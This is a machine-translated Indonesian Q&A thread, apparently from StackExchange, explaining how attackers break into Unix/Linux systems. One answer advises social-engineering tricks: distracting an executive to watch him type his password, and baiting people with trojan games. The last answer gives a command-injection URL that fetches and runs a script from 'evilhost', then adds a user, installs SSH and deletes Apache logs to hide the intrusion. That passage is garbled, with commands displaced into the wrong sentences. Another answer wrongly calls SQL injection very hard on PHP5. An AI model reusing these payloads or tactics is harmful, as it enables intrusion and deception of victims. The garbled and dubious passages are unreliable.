Bagaimana tepatnya orang “memecahkan” Sistem Unix / Linux?

13

Tidak, saya tidak ingin menjadi seorang cracker atau sesuatu seperti itu, tetapi saya mencoba mencari tahu prosesnya (lebih dari perspektif pemrograman).

Jadi saya berasumsi (menebak) tujuan utama cracker adalah mendapatkan akses root untuk menginstal perangkat lunak (atau skrip) apa pun yang ditulisnya, bukan? atau mungkin memasang modul kernal mereka sendiri (itu licik untuk alasan apa pun) Bagaimana tepatnya seseorang melakukan hal ini?

Saya tahu orang-orang menggunakan skrip untuk memeriksa eksploitasi ...... tapi saya tidak mengerti caranya, dan saya juga tidak benar-benar melihat apa yang mereka lakukan dengan mereka setelah mereka menemukannya? Apakah mereka memeriksa versi untuk eksploitasi yang diketahui ...... dan kemudian setelah mereka menemukannya .......

Saya tahu ini semua terdengar sangat baru. tetapi saya hanya mencoba untuk mendapatkan ide tentang cara kerjanya karena saya tahu sistem Linux / Unix seharusnya sangat aman tetapi saya mencoba mencari tahu bagaimana seseorang bahkan akan pergi (proses) untuk mendapatkan akses root.

HedgeMage
sumber

Jawaban:

14

Ada banyak alasan mengapa seseorang mencoba untuk mengompromikan keamanan sistem. Dalam goresan luas:

  • Untuk menggunakan sumber daya sistem (mis. Mengirim spam, menyampaikan lalu lintas)
  • Untuk memperoleh informasi tentang sistem (mis. Dapatkan data pelanggan dari situs ecommerce).
  • Untuk mengubah informasi pada sistem (mis. Deface situs web, tanam informasi palsu, hapus informasi)

Hanya terkadang hal-hal ini memerlukan akses root. Misalnya, memasukkan kueri penelusuran yang salah di situs yang tidak membersihkan input pengguna dengan benar dapat mengungkapkan informasi dari basis data situs, seperti nama pengguna / kata sandi, alamat email, dll.

Banyak penjahat komputer hanya "skrip kiddies"; yaitu orang-orang yang tidak benar-benar memahami keamanan sistem, dan mungkin bahkan tidak kode, tetapi menjalankan eksploitasi yang ditulis oleh orang lain. Ini biasanya cukup mudah dipertahankan karena mereka tidak memiliki kemampuan untuk beradaptasi; mereka terbatas untuk mengeksploitasi kelemahan yang diketahui. (Meskipun mereka dapat memanfaatkan botnet - kelompok besar komputer yang dikompromikan - yang dapat berarti bahaya serangan DDoS.)

Untuk penyerang yang terampil, prosesnya berlangsung seperti ini:

  1. Cari tahu apa tujuannya, dan apa tujuannya. Keamanan - mempertahankan atau mengkompromikannya - adalah perhitungan risiko / hadiah. Sesuatu yang lebih berisiko dan lebih mahal akan, hadiah yang lebih menarik harus membuat serangan berharga.

  2. Pertimbangkan semua bagian bergerak yang memengaruhi apa pun tujuannya - misalnya, jika Anda ingin mengirim spam, Anda dapat menyerang server surat, tetapi mungkin lebih masuk akal untuk mencari layanan berbeda yang menghadap jaringan, karena Anda semua benar-benar butuhkan adalah penggunaan koneksi net target. Jika Anda menginginkan data pengguna, Anda akan mulai mencari di server database, aplikasi web dan server web yang memiliki kemampuan untuk mengaksesnya, sistem yang mendukungnya, dll.

    Jangan pernah mengabaikan faktor manusia. Mengamankan sistem komputer jauh lebih mudah daripada mengamankan perilaku manusia. Membuat seseorang mengungkapkan informasi yang seharusnya tidak mereka miliki, atau menjalankan kode yang tidak seharusnya, mudah dan efektif. Di perguruan tinggi, saya memenangkan taruhan dengan seorang teman yang melibatkan membobol jaringan perusahaannya yang aman dengan mengenakan pakaian terbuka dan bertemu dengan Wakil Presiden bejat - keahlian teknis teman saya jauh melebihi milik saya, tetapi tidak ada yang mengalahkan kekuatan 17yo co-ed dalam rok pendek!

    Jika Anda tidak memiliki payudara, pertimbangkan untuk menawarkan permainan yang tidak berguna atau sesuatu yang orang idiot akan unduh untuk bersenang-senang tanpa mempertimbangkan apa yang sebenarnya dilakukannya.

  3. Lihatlah setiap bagian yang telah Anda identifikasi, dan pertimbangkan apa yang bisa dilakukannya, dan bagaimana hal itu dapat diubah untuk melakukan apa yang Anda inginkan - mungkin help desk me-reset kata sandi untuk pengguna tanpa sering mengidentifikasi penelepon dengan benar, dan menyebut mereka terdengar bingung akan mendapatkan kata sandi orang lain. Mungkin webapp tidak memeriksa apa yang dimasukkan ke dalam kotak pencarian untuk memastikan itu bukan kode sebelum menempelkannya pada fungsi yang dijalankannya. Kompromi keamanan biasanya dimulai dengan sesuatu yang sengaja diekspos yang dapat dibuat untuk berperilaku sebagaimana seharusnya.

HedgeMage
sumber
3
setelah membaca, saya masih ingin tahu tentang informasi apa yang bisa diberikan oleh wakil presiden bejat dalam percakapan santai yang akan memenangkan taruhan Anda.
justin cress
1
@justin: Saya bilang saya ada di sana untuk melihat $ teman re: proyek sekolah, tapi dia di luar kantor. Saya membiarkan VP menunjukkan kepada saya beberapa hal sepele tentang sistem komputer, dan dia terlalu terganggu dengan menatap saya untuk memperhatikan bahwa saya mengamatinya memasukkan kata sandinya. Dia memiliki akses yang sah ke drive yang seharusnya saya akses untuk memenangkan taruhan.
HedgeMage
1
Saya setuju sepenuhnya, rekayasa sosial jauh lebih mudah daripada tumpukan melimpah. Anda benar-benar akan menyukai ini archive.cert.uni-stuttgart.de/isn/2006/01/msg00055.html
Rohan Monga
"Jika kamu kekurangan payudara, pertimbangkan untuk menawarkan permainan yang tidak berguna atau sesuatu" .. serius? Anda menempatkan keduanya dalam kategori efektivitas yang sama ?! :)
Roopesh Shenoy
2
"Pertimbangkan untuk menawarkan permainan yang tidak berguna atau sesuatu yang akan diunduh orang idiot untuk bersenang-senang ..." - Ahh, jadi itulah ide di balik Farmville dan Evony.
Shadur
4

Faktor terbesar adalah jenis akses yang dimiliki penyerang. Jika mereka memiliki akses fisik, Anda kacau. Jika Anda hanya peduli dengan akses jarak jauh maka itu tergantung apa yang Anda jalankan; konfigurasi yang baik adalah segalanya. Server linux standar mungkin akan menjalankan ftp, ssh, http, https, dan mysql. SSH aman, tapi saya tidak akan mengizinkan login root, dan kata sandi yang baik pada setiap akun adalah suatu keharusan. FTP terkena atau gagal. Jika Anda memiliki VSFTP dan chroot pengguna Anda, maka itu sangat aman. Beberapa versi lain memiliki kerentanan yang diketahui. HTTP mungkin akan menjadi area Anda yang paling rentan. Perhatian terbesar Anda di sini adalah apa pun yang mengeksekusi file pada sistem, atau mengunggah file ke sistem. Injeksi SQL SANGAT sulit jika situs web Anda dilakukan dalam PHP5. Sekelompok siswa keamanan dan saya sendiri mencoba suntikan SQL pada situs web PHP5 yang tidak bersih selama berminggu-minggu dan tidak berhasil. Dengan MySQL, pastikan untuk menggunakan pengguna non-root dan batasi hanya untuk login dari server Apache Anda.

Ada beberapa plugin Firefox untuk menguji kerentanan situs web: akses saya, xss saya, dan sql menyuntikkan saya

Beberapa hal besar yang selalu saya lakukan di kompetisi untuk memastikan keamanan adalah:

  • netstat - periksa port dan koneksi terbuka,
  • w - siapa yang login, berapa lama,
  • Periksa log untuk login,
  • bash history untuk perintah yang dieksekusi,
  • ps - menjalankan perintah,
  • /etc/passwd untuk pengguna tambahan
  • /etc/sudoers untuk akses sudo.

Biasanya setelah mendapatkan akses, penyerang ingin mendapatkan root. Saat ini ada beberapa kerentanan eskalasi hak istimewa di luar sana yang akan memungkinkan pengguna normal untuk mendapatkan root. Setelah itu, mereka ingin membukanya untuk akses nanti dengan menambahkan pengguna, dan membuka pintu belakang.

Inilah situs web pertahanan cyber sekolah saya. Silakan melihat-lihat dan bertanya: https://thislink.doesntexist.org/

Murphy
sumber
2

Keamanan suatu sistem tergantung pada keterampilan administrator, sehingga agak keliru mengatakan "Sistem Linux / Unix seharusnya sangat aman" :)

Sekarang untuk melanjutkan tentang peretasan ... Ada semacam alat yang disebut " pemindai kerentanan " seperti Nessus yang mencari hal-hal untuk dieksploitasi. Ada ribuan hal yang dapat salah dalam sistem yang kompleks, seperti server Apache yang tidak terkonfigurasi untuk memungkinkan pengunggahan file sewenang-wenang ke tempat sewenang-wenang. Itu dapat berfungsi sebagai batu loncatan untuk eksploitasi lebih lanjut, seperti mendapatkan akses ke database, atau akun email dari mana kata sandi dapat dipulihkan melalui fitur "lupa kata sandi".

Terkadang peretasan adalah untuk mendapatkan akses dan melakukan sesuatu yang jahat. Kadang-kadang orang melakukannya untuk bersenang-senang (yang konyol, omong-omong).

DAN, inilah kisah peretasan terkenal yang terjadi baru-baru ini. Saya pikir itu akan menjadi ilustrasi bagi siapa saja yang melihat keamanan! Mengutip ringkasan eksploit:

Aplikasi Web dengan kelemahan injeksi SQL dan kata sandi tidak aman. Kata sandi yang dipilih dengan buruk. Kata sandi yang digunakan kembali. Server yang membolehkan otentikasi berbasis kata sandi. Sistem yang tidak ditambal. Dan kesediaan yang mengherankan untuk membagikan kredensial melalui email, bahkan ketika orang yang diminta untuk itu seharusnya menyadari ada sesuatu yang terjadi.

phhehehe
sumber
1

Ada begitu banyak vektor serangan hingga hampir tak terbatas. Salah satu yang paling sederhana secara konseptual adalah membuat program tersedia untuk umum, dan mengatakan bahwa ia melakukan sesuatu selain yang sebenarnya. Berikan instruksi ramah kepada pengguna dengan sudodi awal, dan saksikan dunia meledak. Ini terjadi setiap hari dengan program sumber tertutup, karena tidak mungkin bagi satu orang untuk memeriksa pekerjaannya sebelumnya, seperti yang terlihat dengan misalnya CD Sony .

Anda juga dapat mencoba mengirim string khusus ke host jarak jauh. Untuk contoh tingkat tinggi, misalkan Anda memiliki server web dengan beberapa perangkat lunak yang sedang berjalan di atasnya, dan perangkat lunak itu menjalankan bagian dari URL sebagai perintah tanpa melarikan diri atau memastikan tidak dapat membahayakan. Kirim sesuatu seperti http://www.example.org/search?q=foo%3Bwget%20http%3A%2F%2Fevilhost%2Fscript.sh%3B%20chmod%20u%2Bx%20script.sh%3B%20.%2Fscript.sh. Dipecahkan, string pencarian menjadi . Jika itu dijalankan, script.sh akan berjalan dengan hak akses yang sama dengan pengguna server web untuk melakukan apa pun di mesin. Kadang-kadang orang membiarkan ini berjalan sebagai root untuk "kenyamanan," dalam hal ini sinonim untuk kemalasan dan / atau ketidaktahuan. Bahkan jika itu tidak dijalankan sebagai root, skrip itu kemudian dapat menjalankan ribuan tes untuk lubang lain dalam perangkat lunak yang diinstal, dan menjalankan perintah lain jika menemukannya. Perintah terakhir itu misalnyafoo;wget http://evilhost/script.sh; chmod u+x script.sh; ./script.shuseradd blabla; apt-get install openssh; rm /var/log/apache.log, untuk mendapatkan akses SSH dan menghapus jejak pembobolan.

[perintah jelas disederhanakan dan mungkin tidak akan berhasil. YMMV]

l0b0
sumber